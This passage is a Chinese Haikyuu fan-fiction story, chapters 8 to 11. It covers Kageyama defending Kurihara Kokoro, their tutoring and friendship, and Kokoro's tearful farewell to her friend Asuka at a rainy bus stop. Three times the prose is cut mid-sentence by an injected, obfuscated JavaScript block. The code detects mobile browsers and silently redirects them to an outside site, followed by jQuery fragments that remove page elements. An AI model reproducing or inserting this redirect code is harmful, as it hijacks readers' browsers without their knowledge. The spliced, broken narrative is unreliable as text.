影山同学好像是在维护栗原心音同学，意识到这点后，奈奈子老师觉得有些不可思议。 不管从什么方面来看，影山和栗原两人都不像有什么交集的样子。 不过任由影山同学这样盯着吉原和三川似乎也不好，周围的同学也看热闹地侧过头来。 奈奈子老师看向两腿微微发抖的吉原和三川，他们大概是在担心影山对他们动手，如果不是腿太抖，他们应该会掉头就跑吧。 奈奈子老师轻咳了一下，上前拍了拍影山的肩膀，随后换上一副严厉的表情看向吉原和三川：“刚刚你们说的话我和影山同学可都听到了。” “老师有教过你们在背后说别人坏话吗，尤其是对自己完全不认识的人。” 吉原和三川低下了头，显然他们已经明白了自己的错处。 【来说是非者，便是是非人】 说的太对了，奈奈子老师点点头。 下一秒，她意识到这句话是从影山飞雄的嘴里说出的，影山的国文水平什么时候变得这么高了，奈奈子老师惊讶地忘掉了自己想说的话。 低下头的吉原和三川也“唰”一下抬起头，惊讶超越了胆怯。 影山飞雄抿起嘴：“我不能说这句话吗，还是我用错了。” 奈奈子老师摇摇头，不能说是用错，而是用的完全正确才让人惊讶。 奈奈子老师整理了自己的思绪，她再度看向吉原和三川：“看来你们已经认识到了自己的错误，接下来就把刚刚影山同学说过的话抄一百遍，明天交给我。” 吉原和三川同学表示自己会按时提交。 完成了对学生教导的奈奈子老师心情有些愉悦，她想要询问影山同学和栗原同学是什么关系，但是影山同学并没有离开，还是站在原地像是在思考什么。 奈奈子老师试探地问到：“影山，你对这样的处理方法有什么意见吗。” 影山抬起头：“说了人坏话，应该是要道歉的吧。” 吉原和三川的身体僵住了。 “是这个道理没错...” “那我等下带着他们去道歉。”影山飞雄向奈奈子老师鞠了个躬，随后回到了自己原来的位置上。 而作为学生代表发言的栗原心音此时已经结束了自己的演讲。 来自讲台下的掌声充斥了她的耳朵。 事实上，栗原心音并不喜欢这样的场合，比起成为被大家注意的焦点，她更喜欢混入喧嚣的人群里。 听了她这样说法的大谷老师莫名眼睛里写满了“我果然没有猜错”这样奇怪的话，不过他还是摇摇头：“但是说不定试了以后会喜欢上这种感觉！” 栗原心音并不认为自己会喜欢上这种感觉，不过大谷老师一向很照顾她，出于不愿让自己的老师为难的心理，她还是选择了接下这份任务。 而事实证明，她完全不喜欢这样的场合。 从站上演讲台的那一刻，她就有一种拔腿就跑的冲动。 好不容易结束了酷刑一般的演讲，栗原心音一个人站在操场的一角吹风。 她注意到影山飞雄正气势汹汹地带着两个低头丧气的男生朝她这里走来。 影山同学在她面前停下，随后走到一旁，让身后的两名男生站定在她的正前方。 那两名男生红着脸，攥紧了衣角，齐刷刷地朝她弯下腰：“对不起，栗原同学，我们不该在不认识你的情况下议论你，抱歉！” 诶？ 在两名男生的解释下，她总算弄清了事情了原委。 她笑着对他们说：“没关系，我不在意这些。” 吉原和三川露出了如释重负的表情，又鞠了一躬后打算离开。 栗原心音拉住了脸上写满【我有话要说】的影山飞雄，示意他先不要说话。 她把影山飞雄拉到他们两人过去常常练习排球的角落。 还没有等她开口，影山飞雄就皱着眉头说道：“你很在意这些。” “我不在意这些。”栗原心音笑眯眯地强调着。 在甜品店时的对话又一次浮现在影山飞雄的脑海中，他脸上写满了【明明很在意为什么不承认...】这样一连串的话。 栗原心音意识到他真的很在意这个问题的答案：“因为这一次，有影山带他们来跟我道歉，所以我才不在意了。” “毕竟有朋友站在我身边的感觉真的太棒了。” 栗原心音戳了戳站在原地左顾右盼的影山飞雄，刻意跟着他左顾右盼的视线摇摆，力图和他对视，“影山没有否认，所以我们是好朋友对吧！” 从朋友到好朋友，一直在擅自加码。 影山飞雄最后选择点头。 “我刚刚用对了古诗，就是【来说是非者，便是是非人】，不过他们都用那种吃惊的眼神看着我。” 栗原心音懂这句影山语，事实上，在教影山国文的期间，她已经学会了花式的夸夸方法，以及夸赞的合适时机。 “那么他们肯定不知道【士别三日当刮目相待】” 栗原心音收获了一只脸上挂满问号的影山飞雄，显然这句夸赞超越了他的知识范畴。 “差不多就是你的进步飞速，以及不是当年的那个影山飞雄了。代入到排球的话就是你的排球水平飞速进步，把所有对手都吓到了。” 影山飞雄打算把这句话记到笔记本里，并且期待着及川学长对他说出这句话。 “其实，我好像还明白了一句话的意思...” /几天前的甜品店 “其他词倒是都填对了。” “但是为什么影山同学宁愿把一个词填两遍，也不愿意把【因缘际会】这个词填上去呢。” 栗原心音点了点影山飞雄的做题痕迹，显然，他已经把所有用过的词都划掉了，但是无论如何他也不愿意把这个词填到空里。明明是呼之欲出的答案。 她耐心地又念了一遍例句：“比如朋友的离合聚散，本身就是因缘际会，我们能做的就是珍惜在一起的时光。” 她横看竖看都找不到这句话的错处。 “哈？！难道因为什么因缘际会就可以接受朋友的离开吗。” “为什么不可以？” 影山飞雄绞尽脑汁：“就跟打排球一样，如果我说你和排球没有缘，那难道我就要接受这一点然后不打排球了吗。” “朋友不是排球，不能偷换概念。” 这一次栗原心音并不赞同影山飞雄的观点。 两个人十分较真地直视着对方，谁也不肯让谁。 店长姐姐打断了他们火花四溅的对视，她把午饭放在他们中间：“嗨嗨，午饭时间到了小朋友们。” 显然，他们两个打算争论出一个结果再吃饭。 店长姐姐温柔地凝视着两个小孩：“如果不吃饭的话，怎么会有争论的精力。” 栗原心音先败下阵来，她收回对视的目光， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107880|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起勺子准备先吃饭。 “这次店长姐姐我觉得影山说得对。”栗原心音一脸难以置信地看向店长姐姐。 “我觉得说那句话的人就像把所有的友情破裂的责任都归咎在缘上了，其实不是这样的吧。” “要是我的男朋友突然跟我说，我们两个没缘分，分手吧。”店长姐姐还是一脸温柔地笑着，不过说话的语速逐渐放慢，“那我是，不会让他好过的。” 店长姐姐看见自己面前的两个小孩眼睛变成了豆豆眼，她又恢复了原来的样子，“怎么都看着我，快吃饭。” 店长姐姐撑着下巴，看着心音小口小口地吃着饭：“如果心音的朋友突然说，我们的缘分到此为止了，然后要跟你绝交，你会怎么做。” 她并没有抬头：“朋友的离开都是很正常的，没有人有资格让对方永远跟在自己身边，所以接受她的离开就好了。” “心音是不懂得争取的小孩啊。” “争取也不会有好结果的，反而会变得更坏。” 影山飞雄嘴里的饭都不香了，他下意识地想要反驳这句丧气满满的话。 店长姐姐拍了拍他：“影山，有个忙要你帮一下哦，快跟我来。” 店长姐姐是一个很井然有序的人，这一点体现在厨房的设施上，每一块区域的东西都被摆放在应有的位置，对有强迫症的人群来说非常友好。 “有什么事情要帮忙吗？”厨房看起来很整洁，不像是有东西要清理。 “麻烦影山，先别跟心音说话。” 为什么，影山飞雄一脸不解。 “每个人都会有不想直面的过去，他们讨厌什么，对什么事情不抱有希望，都是有原因的。在没有了解这些原因之前擅自对他们的态度加以评价，是很不礼貌的行为哦。”店长姐姐摸了摸影山的头发，虽然人看起来硬邦邦的，不过头发却很软。 “所以先试着知道心音为什么这么想，再跟她沟通也不迟哦。这是店长姐姐我处世的智慧，就先教给你了。” 影山飞雄张了张嘴，他知道自己不擅长和别人沟通，更不要提解开别人心结这种事了。 “别用那种写满我绝对不行的眼神看着我哦，相信大人的眼光。”店长姐姐推着影山离开厨房，“先去把饭吃完吧！” 最后，影山飞雄和栗原心音沉默地吃完了那顿饭，在这之后，她就像没事人一样收拾好了自己的心情，很自然地跳过了原先争议的话题，讲起了别的知识点。 /【因缘际会】 奈奈子老师以为影山飞雄出人意料地认真听着台上的发言。 其实，他只是突然好像明白了那个词的意思。 他望着台上的人，一直以来，能够让他注意的事情只有排球，所以当他听到身边的人开始议论栗原心音的时候，他才知道原来【不擅长打排球】的栗原同学被很多人注视着。 但是，在一起练排球的那段时间前，栗原心音于他而言只是很耳熟的陌生人。 飞鸟不会注意一瞬间略过的一朵云，畅游在海底的鱼也不会在意身边的那株水草是否与它一次又一次地相遇。 但那颗排球切实地落在了她的掌心。 “那就叫因缘际会。”语词有时会在你越想要表达感情的时候变得苍白无力，他试图表达自己的心绪，“就是那一天，你接下了那个将要落地的排球。” 这样的话不论是谁都听不懂的吧，影山飞雄垂下了脑袋。 栗原心音合上手掌：“影山说的是，我们开始一起练排球的那一天吧。” “我就这样”她张开了手，“啪一下，排球就落到了我的手里。” 栗原心音思索了一番：“确实是这个意思没错。” 店长姐姐说，不要在不清楚别人过去的时候对她的想法加以评价。 那换一种说法，就是除了评价她的想法，什么都能说吧。 （店长姐姐：本人绝对没有这样的意思。） “前面半句我明白了，但是对于朋友，我觉得还是和排球一样。” “既然成为朋友了，当然要牢牢握住，不可能因为什么没有缘分了就选择分开。” 只要坚持到底，就会解决所有问题。 栗原心音的步伐变得轻快了，她头一次快步走在影山飞雄的前面。 她并没有直接地对影山的话表达自己的观点。 “你有没有发现，自己变了好多，影山。” “......” “你一口气说了那么多话，我被吓了一跳呢。” “......” “好嘛，我不逗你了，你不要那样瞪着我。” “...没有瞪。” “谢谢你。”栗原心音看向被她说的有些别扭的影山飞雄，“虽然我可能没有怎么把你的话听进去...你这次绝对是在瞪我吧，就像在说我都说了那么多你居然敢不听。” 影山飞雄听不见，他踢了脚路边并不存在的石头。 “不过或许有一天，我会很酷地说出我绝对不要放弃这种话也说不定。” 影山飞雄有一种预感，就跟摩挲排球感受到自己手感非常好的时候一样。 ——会有这一天。 “我果然是影山的好朋友！” ......栗原心音还是不说话的时候比较好。 9. chapter 9 “就算分开了我们还是最好的朋友对吗？” 这是三年5班最近发生的最多的对话。 不过栗原心音一般是这种对话的旁听者，因为她的朋友实在屈指可数。 满打满算也只有两个。 影山大概会去白鸟泽，如果他们的补习管用的话。 她从书桌里拿出影山交给她的卷子，客观来说，那张卷子已经比一开始赏心悦目多了。她可以在那张卷子打上越来越多的圈。 她攥紧拳头稍稍给自己打气，毕竟影山自己都没有放弃考白鸟泽，身为补习老师，当然没有放弃的理由。 至于飞鸟，她看了看手机。 好像飞鸟从来没有和她说过择校的事情。 飞鸟大概也会去白鸟泽或者青叶城西这样的排球强校吧，不过还是问问比较好。 【Kokoro：猫猫出现jpg.】 【Kokoro：飞鸟打算去哪个学校，青叶城西or白鸟泽】 手机迟迟没有传来震动声，久到栗原心音都怀疑自己是不是开启了勿扰模式。 现在不是部门活动的时间，按照飞鸟的性格，应该会拿着手机摸鱼才对。 她打开手机，看见对话栏一直显示着【对方正在输入中】的状态。 我好像没有问什么很难回答的问题，栗原心音这样想到。 【Kokoro：难道你是觉得乌野的校服很好看，所以打算去乌野吗】 栗原心音漫不经心地和好友开起了玩笑。 下一秒，收到的消息吓得她险些让手机滑落。 【飞鸟：心音觉得乌野校服好看吗】 【飞鸟：我也这么觉得】 【飞鸟：就决定了，我们高中一起上乌野吧】 居然被飞鸟的玩笑话反将一军，果然还是这样的话太离谱了。 【Kokoro：我确实觉得乌野的校服很好看，而且是离家最近的学校，经过缜密的计算，如果高中上乌野每天可以多睡大概三十分钟。】 【飞鸟：对吧对吧，那我就这么填了，下课就交给老师】 【Kokoro：......】 【Kokoro：你看起来不像是在开玩笑。】 【Kokoro：不许交。】 【Kokoro：中午去天台吃饭，和我说清楚。】 【飞鸟：呜】 【Kokoro：撒娇无效。】 竹早飞鸟发出了一声惨叫，她趴在桌子上，佯装自己已经去世。 洋子老师的粉笔并不怜惜失去灵魂的飞鸟，她精准地命中瘫倒在桌上的问题学生。 “竹早飞鸟，扰乱课堂纪律就站出去清醒一下。” 被粉笔扔中的女孩以奇异的发着光的眼睛看向她：“老师，可以罚我站到中午不能吃饭吗。” 不能满足她。 看着那双写满期待的眼睛，洋子老师冷酷地发布了判决书。 “当然不可能。” 竹早飞鸟拿上自己的漫画书，耷拉着脑袋走出了教室。 她的后脑勺又收到了一份来自粉笔头的攻击。 ——“你好歹拿本教科书装装样子吧！”洋子老师这样怒喝到。 / 午时已至，竹早飞鸟拖着沉重的步伐走上楼梯。 她头一次一点都不想见到自己的幼驯染，毕竟她罚站的那些时间里也不能让她想到一个合适的理由。 和往常一样，栗原心音总能早她一步到，她指了指自己身边的位置，示意竹早飞鸟到她的身旁。 飞鸟放下自己的便当，她用余光看见心音和没事人一样小口小口地吃起了菜。 最近有什么八卦。 杂志上的冷笑话大全更新了什么。 竹早飞鸟拼命地在自己的脑海里搜刮这些资料，很遗憾的是她的脑中一片空白。 用餐的时间变得格外煎熬，她宁愿去做自己最不擅长的数学题。 最后，栗原心音先一步受不了这古怪的气氛。 “所以你为什么说那些奇怪的话，什么高中和我一起去乌野。” “飞鸟是要成为第一女王牌的吧，当然是去排球强校更好打出成绩。” 飞鸟拍了拍自己的胸膛：“我可是要成为第一女王牌的女人，在哪里都能发挥我自己的能力啊。” “就像心音，之前也说过在哪里都能考上好大学这种话吧。” “这不一样。”栗原心音严肃地看着她，“去乌野读书也没什么区别的前提是乌野并不缺好老师，重点班也照样很强。只是白鸟泽的生源更好，成绩才更出色。” “但是排球这种项目，当然是不一样的。” 栗原心音不否认【是金子在哪都能发光】这句话，但是不可否认，有一条更加顺遂的道路摆在面前，为什么要走一条艰难许多的路。 排球这类体育项目和学习更大的区别是，身为一项团队运动，在更优秀的团队里，就有更多被人注意到的机会。 因为飞鸟的缘故，她曾查过一些关于排球选拔的资料，国家集训队的选拔大多会把目光放在强校，而出生于混凝土的选手少之又少。 看着打定主意不说明缘由的幼驯染，她决定还是自己先猜猜原因。 竹早飞鸟是在她说出【去乌野】这个玩笑话后，才一股脑地发来消息。 她的脑海中闪过了这几天最经常听到的对话。 她向飞鸟招手，示意她低下头。 随后突然捏了捏她的脸。 “我说你，是不是因为不想和我分开，所以说要一起去乌野的。” 她看见竹早飞鸟像是被戳中了心事一样，僵在了原地。 “这有什么的，难道我们两个一个在乌野一个在白鸟泽就不算好朋友了吗。” “小飞鸟对我们的感情这么不坚定，我可要伤心了。” 栗原心音摆出了一幅失落的表情。 “才没有！”竹早飞鸟急着反驳她。 “如果你真的很想和我在一起，那我可以牺牲半小时的懒觉时间，和飞鸟一起上白鸟泽的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是的，从来没有什么谁离不开谁这种说法。你也不应该因为我选择不去东京，我们是最好的朋友，我不会成为你选择时候的负担。” 再好的朋友，总有那么一些时刻，你想彻底地堵住她的嘴，让她不要说那些让你不顺心的话。 但是竹早飞鸟知道栗原心音打心底里这么想，也是为她好。 ...但偶尔她还是想看看那些理性的建议下，属于栗原心音自己的想法。 显然她又缩进了那层自己包裹好的罩子里，把自己藏得严严实实。 “我知道的。”竹早飞鸟抓过饭盒，胡乱打包了一下，“心音，下午排球部要抽查我们训练成果，我先走啦。我要多练几球。” 【明天的部活因为老师受伤暂停了】 竹早飞鸟很不擅长撒谎，饶是不愿多想，昨天刚收到过的消息就这样占据了栗原心音的头脑。 但是她并不打算拆穿。 站在天台上，总能看见更广阔的天空。 远处的两只飞鸟并肩飞翔着，不过随后，一只栖息在了蔓延出的树枝上，另一只亲昵地蹭了蹭树枝上小鸟的翅膀，像是在告别一样，旋即飞向了更加遥远的天空。 直到飞鸟化作小小的黑点彻底地消失在了视线中，栗原心音才回过神。 上课铃声早已敲响。 10. chapter 10 人们常说爱情是最具排他性的。 实际上，友情也具有排他性，这是栗原心音观察而来的成果。 不然为什么朋友们总要在分离的时候紧紧相拥，诉说着彼此的唯一性。 戏剧的表达总是意图将人们的情感夸张化， 于是戏剧的舞台上常出现这样的情节， 一方因为另一方对于感情的背离而崩溃，然后细数着过去的承诺，并为此声嘶力竭。 但有时候远离并不因为背叛，也不是源于唯一性的消失。 而是在成长的路上，出现了一个分岔路口。 我们选择了不同的路口，所以接下来的道路不能一起走了。 仅此而已， 栗原心音这样告诉自己。 事实上，只要飞鸟想要和她见面，她可以省去日常不必要的开支，在节假日去东京找她。 宫城县和东京的距离只有388千米，从来不是天涯海角的距离。 “什么叫做只要我想和你见面。” 飞鸟这样问她。 “你可能会忙着练习，在节假日的时候累的只想一个人呆着；或者提前跟新遇到的朋友约好了一起过节逛街，所以就没有和我在一起的时间。” 竹早飞鸟看着自己的幼驯染掰着手指一条又一条地分析着这些可能性，好不容易调理好的心情瞬间又被点着了。 她把那团焦糖面包揉成一摊大饼：“我才不想听这些。” 纵使栗原心音时常在钻研数学题的时候出神，在睡前时不时反复思考飞鸟到底想要听到什么，她还是想不到答案。 受限于自己过于狭隘的交集网，栗原心音最终点开了和影山飞雄的对话栏。 【Kokoro：我有一个朋友...】 这显然是一个过于欲盖弥彰的开头。 【影山飞雄：你的朋友怎么了】 不过影山飞雄并没有考虑到这个朋友就是心音自己的可能性。 她把自己朋友想要和她在一起，甚至差点没有去东京的强校的事情告诉了影山飞雄。 她抢在影山飞雄正在输入中的话发出来前，告知了那位朋友已经劝说了朋友的朋友去东京的排球强校读书。 于是影山飞雄删去了那一长段的话。 【影山飞雄：你的朋友做的很对。】 栗原心音纠结的内心宽慰了许多。 【Kokoro：但是我朋友的朋友并不开心，她好像并不想听到这些话】 【Kokoro：所以影山知道她想要听什么吗？】 【影山飞雄：不知道。】 【影山飞雄：你为什么要这么关心你朋友的朋友？】 当然是因为这个朋友是我自己，栗原心音面不改色地敲打着屏幕。 【Kokoro：因为我朋友看起来都不能专心学习了，我想要她快点好起来。】 不能专心学习在栗原心音的世界里大概是和自己不能专心打排球一样严重的事情吧。 影山飞雄不明觉厉。 【影山飞雄：那你的朋友对这件事是怎么想的】 她的想法？ 【Kokoro：当然是支持她的想法。】 【影山飞雄：如果这就是她全部的想法，那就让她这么做吧】 【Kokoro：好的，谢谢影山。晚安！】 最初的几天，飞鸟还会追着她问，有没有别的想和她说的。 然而在收到一次次否定的答案后，她最后放弃了从她口中听到那句话。 即使心音再三恳求她直接告知要说些什么，飞鸟依旧守口如瓶。 “只有你自己想说的时候，那些话才真的有意义。” / “不是本来说在升学考试后才走的吗？” 飞鸟的声音从电话中传出，比起打电话，其实栗原心音更喜欢文字。 虽然人们常说电话中的交流让你感觉朋友就像在你身边，但是这样突如其来的对话总是让人来不及处理好自己的思绪，做出正确的回应。 “因为那里的老师突然说要先去签合约。” 对话短暂地中断了。 “...妈妈说走了之后就直接待在东京了，应该不会回来了。” “...好。飞鸟记得把该带的东西都带上，宫野医生开的好用的跌打药也要记得带上，去了东京不要趁阿姨不在偷吃冰淇淋，最多一周吃两次...” “这次心音不许来送我哦，我会舍不得走的。” “好。” “那拜拜？” “嗯。” 挂下电话后，栗原心音拿起了床头柜上放置的合照。 那大概是她和飞鸟一起上幼稚园的时候。 那时候她们的关系还没有现在那么好，飞鸟是全班女生里力气最大的，还经常和班上的男孩打架。 大部分时间难分胜负，因为幼稚园老师会及时制止她们。 心音害怕会打架的小孩。 于是当吃完自己饼干后的飞鸟和心音对视的时候，心音拿着饼干的手都有些拿不稳了。 她试探性地递给飞鸟：“你要吃吗。” 扎着麻花辫的女孩的眼睛一下就亮了起来，她凑到她面前，叼走了那块饼干。 “谢谢！以后我都罩着你哦。” 幼稚园的老师拍下了飞鸟叼走饼干的那一刻，随后这张照片就一直被放置在心音的床头。 她把照片高高举起，看了好几眼。 早上七点，淅沥沥的小雨拍打着窗户， 是潮湿的一天。 她和影山约好，下雨天补习会被挪到下午。 本来打算睡个回笼觉，不知不觉又拿起了手机，她点开了和飞鸟的对话栏。 也是七点，对面发来了一张照片。 位于巴士站，前方的车站牌上写着最早的一班车是在早上八点。 【Kokoro：一路顺风】 【飞鸟：猫猫捧爪笑jpg.】 飞鸟昨天已经说过不用去送她了。 虽然这样想着，但回过神后，心音才发现自己已经拿着伞走到了门外。 雨下得越来越大。 来不及想通自己到底打算干什么，凭借着本能，她来到路边，叫了一辆前往巴士站的出租车。 早高峰的人流量将道路堵塞得水泄不通，出租车在车流里艰难地蹒跚向前。 越靠近巴士站越难前行。 她看向手机，离八点钟还差十五分钟。 “叔叔，靠边停吧。”她匆忙地把钱递给司机，自己下了车。 下车的时候太急，连伞都忘了拿。 栗原心音顾不得这些，她跟着导航指示的方向穿行在雨水和人流之间。 还好之前练习排球的时候有跟影山一起跑步，不然这段路可能还没跑一半，自己就已经瘫倒在地了吧。 她一步也不敢停留地向前奔跑着。 我的想法究竟是什么，这种事情真的重要吗。 如果我的想法是自私的、不正确的，它还有存在的必要吗。 栗原心音想不明白，她只是突然非常想把这些属于她的心里话，告诉自己的幼驯染。 不管能不能被接受都无所谓。 她的眼前出现了那个车站站牌，导航上自己的坐标也与巴士站彻底地重合了。 手机上的时间走到了八点零五。 她弯下腰，撑着自己的膝盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107882|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，大口大口地喘息着。 血腥味翻涌上喉头，雨水打得人的骨缝都透着冰凉。 如果我能跑得再快点就好了。 她低着头，自己的影子被一把伞笼罩住。 “谢谢你。”她听见自己的嗓音干涸的不像话。 “怎么不知道带把伞，就这样湿漉漉地跑过来。” “栗原心音。” 那是她最熟悉不过的飞鸟的声音。 她茫然地抬起头，在意识到飞鸟确确实实还没有走后，她紧紧地抱住了她。 竹早飞鸟都有些分不清栗原心音抹在自己身上的是雨水还是眼泪。 “我是一个很不好的人。”心音松开了抱紧她的手，这样说道，“我一直在骗人，骗自己、骗飞鸟、骗影山。” “我根本不想飞鸟离开我，不想飞鸟有了更好的朋友，不想飞鸟因为有了更好的朋友就忘记我。” “我这样自私的人，根本不算什么好的朋友。” 她举起自己的手，想要擦干自己脸上的水渍。 却被飞鸟牢牢地扣住了。 “栗原心音刚刚说的话，我竹早飞鸟通通驳回。” “想要和好朋友永远在一起，算什么坏人。有一点自私的想法有什么大不了的，何况你可是一直为朋友着想的那种人。” “如果要这么算，我竹早飞鸟才是世界上最坏的朋友。我可是恨不得让你一步都离不开我，做我永远的小跟班。” 竹早飞鸟张开手，把伞扔在一旁：“最好的朋友的抱抱。” / 在巴士站旁冒着大雨抱来抱去的结果就是收到了一旁便利店老板的特别关注。 “年轻就是好啊。”便利店老板一边给她们递上毛巾，一边善意地调侃着，“当年我追我老婆的时候，也是冒着大雨冲到车站，她看到我落汤鸡的样子，虽然还是不停地笑，不过一下子就心软了。” 栗原心音不好意思地低下头，竹早飞鸟却十分自来熟：“我看到心音的时候，也咻一下就心软了。” “飞鸟，你怎么没有坐第一班车。” 她罩着毛巾的脑袋遭受了飞鸟的攻击：“当然是等你啊，不然走都走了，干嘛还拍一下车站的照片。” “但是你昨天不是叫我不要来找你，万一我真的没来呢。” 飞鸟撑着下巴：“那我应该会苦苦等待一个早上。” “然后愤怒地冲到你家，让你承认舍不得我，最后心满意足地扬长而去。” “不过心音当然会来的。” 竹早飞鸟强制要求没有吃早饭冒雨跑来的心音吃完便利店的饭团，又向便利店老板借了吹风机，手法娴熟地把心音的头发吹干。 “降降，新鲜出炉的松软小面包。” 她满意地看着心音被吹得蓬松的头发。 “这次我是真的要走咯。” 她收获了心音爱的抱抱，如果飞鸟的头上有显示心情值，那此时必然是以火箭般的速度往上涨。不过她还是装作若无其事地咳了咳：“下次见到心音，希望你的身边不要出现很多莫名奇妙的人哦” “我可是会吃醋的。” 栗原心音挥手告别自己的好友。 她走回便利店，想要买一把新伞。 老板笑着把伞递给她。 和伞一起递来的，还有一张薄薄的便签。 大概是飞鸟趁她吃饭团的时候写的。 她小心翼翼地展开。 【希望我最好的朋友心音，能够结交超多超多的好朋友，因为你值得被大家喜欢。 PS:不过我在你心里永远要是第一位哦】 /她的心里短暂地下过一场潮湿的雨， 现在雨停了。 11. chapter 11 影山飞雄居然不好好吃饭， 意识到这点的影山妈妈有些伤心。 难道是今天自己的手艺下降，在饭菜里面多撒了一把盐吗。 她看了眼旁边照常风卷残云的影山爸，默默地排除了这一可能性。 “阿娜达，别吃那么快。” 飞雄第十八次用眼睛瞟向放在饭桌旁的手机。 是什么能比妈妈做的饭更吸引飞雄的目光，影山妈妈开启了推理模式。 虽然自己过去也打了很多年的排球，但是影山妈妈自认和单细胞的排球少年们大不相同。 她是智力派选手，这点从她喜欢看的小说类型——推理小说可以看出。 频繁看向手机——那说明有想要联系的人。 飞雄狭小的社交关系网络就可以为她排除一大批人选。 今天是周末——连续好几个周末飞雄都会跟一个女孩子去补习，如果是下雨天的话，经常在外面吃晚饭。 显然，今天的飞雄异常地宅在了家里。 胸有成竹的妈妈清了清嗓子：“飞雄，帮你补习的女孩今天出了什么事吗？” 她收获了两个齐刷刷抬头看向她的脑袋。 大只一点的影山茫然地把脑袋从饭里抽出，并不知道她在说些什么。 小只一点的影山震惊地张大眼睛，眼里写满了【你是从哪里看出的】。 妈妈高深莫测地微笑着。 “她叫栗原心音。下午的时候给我发了一个消息，说她今天不能和我一起补习了。” 影山皱着眉头：“我后面问她怎么了，她到现在也没有回复。” Kokoro，听起来就是一个可爱的女生的名字，不过怎么读起来这么拗口。 “诶，飞雄是在担心她吗。” “嗯，我们是好朋友。” 【好朋友】 从影山嘴里听到这个词语的妈妈感动地抹了好几把并不存在的眼泪。 从小到大，妈妈从影山口中听到过的称呼只有两个。 ——【打排球的队友】和【叫家长的老师】 前者是妈妈一直尽力去猜测不同队友身份的存在，后者是妈妈希望再也不要听到的称呼。 而现在出现了一个前所未有的称呼。 “好！”影山妈妈放下碗筷站了起来，步履匆匆地走向储物间。 乒呤哐啷的响声顿时充斥了整个房间。 大小影山对视一眼，默契地捂住了耳朵。 妈妈“啪”一下把一个袋子放在了桌子上，随后像打开了哆啦A梦的次元口袋一样掏出一个又一个物品。 “感冒药，退烧药，红糖水，暖水袋……” 总感觉还不够的样子。 此时的影山爸即使制止了妈妈再次出动的步伐：“妈妈真是太厉害了，怎么能又快又精准地准备这么多东西。” “别这么说爸爸，我要害羞了。” 影山飞雄默不作声地多喝了两口汤。 大人总是这么奇怪，他根本不能从妈妈的脸上读出任何害羞的表情。 他最后还是没能喝完那碗汤。 影山飞雄被妈妈揪着衣服拎出了家门，被一同送出家门的还有那个沉甸甸的袋子。 它安详地躺在影山的怀里。 妈妈站在路灯下温柔地朝影山挥挥手。 “东西没有送到的话就不用回家了。” 她这样补充着。 秋天的夜晚有些凉意，在这种日子里感冒也不算出奇。 影山一只手拎着袋子，另一只手编辑着短信。 【影山飞雄：我大概十几分钟之后到你家楼下。】 莫名地，他想起今天还没有带出去的狗狗。潮湿的下雨天并不适合遛狗，狗爪在泥泞的地上刨来刨去，弄得脏兮兮的。 让奶奶再打扫卫生也会很累。 但是影山还是到奶奶家抱来了小迪。 他蹲下身子，和小比熊约法三章。 “待会你待在我这里，不能乱动，不然我就不带你见她了。” 他觉得比熊大概很想见到栗原心音。 否则平日里一出门就撒了欢想要到处乱跑的它也不会一动不动地躺在他的怀里。 / 栗原心音是被热醒的：。 从车站回来连打了六个喷嚏后，她深刻意识到了问题的严峻。 她连忙给自己灌下一袋感冒冲剂，不过还是无济于事。 被秋日的雨水浇灌二十几分钟的心音滚烫地倒下了。 再次醒来，是难捱于自己身上黏糊糊的感觉。不能冲凉，只能用热毛巾擦擦了。 她在心里诅咒了十遍可恶的感冒病毒。 她翻开手机，打算批阅自己收到的来件。 三十分钟前 【影山飞雄：我大概十几分钟到你家楼下。】 …… 栗原心音猛地起身。 随后感到大脑有些宕机般胀胀的，不知道是因为这个突如其来的消息还是自己的重感冒。 自己还没回消息，影山会来吗。 如果是正常人，大概不会在没有收到回复的时候出门。 ——但是影山同学不是常人。 她支棱着自己的身体走下楼，推开了家门。 果不其然，门外杵着一只影山同学，他的手里拎着一个看起来颇有分量的袋子，怀里还窝着一只小迪。 小迪见到她就褪去了原先沉着冷静的样子，扑腾着狗爪在影山的怀里滑行，想要直接跃到她的怀里。 由于病得不轻失去力气的栗原无福消受修勾的热情，她朝小迪摆了摆手表示暂时的拒绝。 她想要帮影山分摊一个袋子，然而在稍微拎起袋子的那一刻，她果断选择了放弃。 栗原心音像迎宾者一样侧过身，示意影山进屋。 屋里很早就开了暖气，虽然目前是秋季。 小迪一进门就宾至如归地在地毯上滚来滚去。 暖光照的客厅又增添几分暖洋洋的氛围，但是影山还是感受到了这里和自己的家中有些不同。 可能是少了和自己父母一样聒噪的声音，还有整个客厅空荡地有些过分，就像是没有人在住一样。 在目光里出现一杯装满水的杯子后，影山飞雄回过神。 ——他好像一不小心让病人给自己倒水了。 意识到这点后，他紧绷起来。 栗原心音被要求坐在了沙发上，一眨眼的功夫，她的怀里就被塞入了一个暖水袋。 手自动地接过了保温杯。 感冒冲剂和退烧药就像是放在药店的置物玻璃柜中一样被齐刷刷地排列在桌上。 它们的脸上仿佛写着【任君挑选】几个字。 一张画着大大笑脸的纸条从袋中滑落，飘飘然地降临在她面前。 影山飞雄疑惑地凑近，他也不知道这张纸条从何而来。 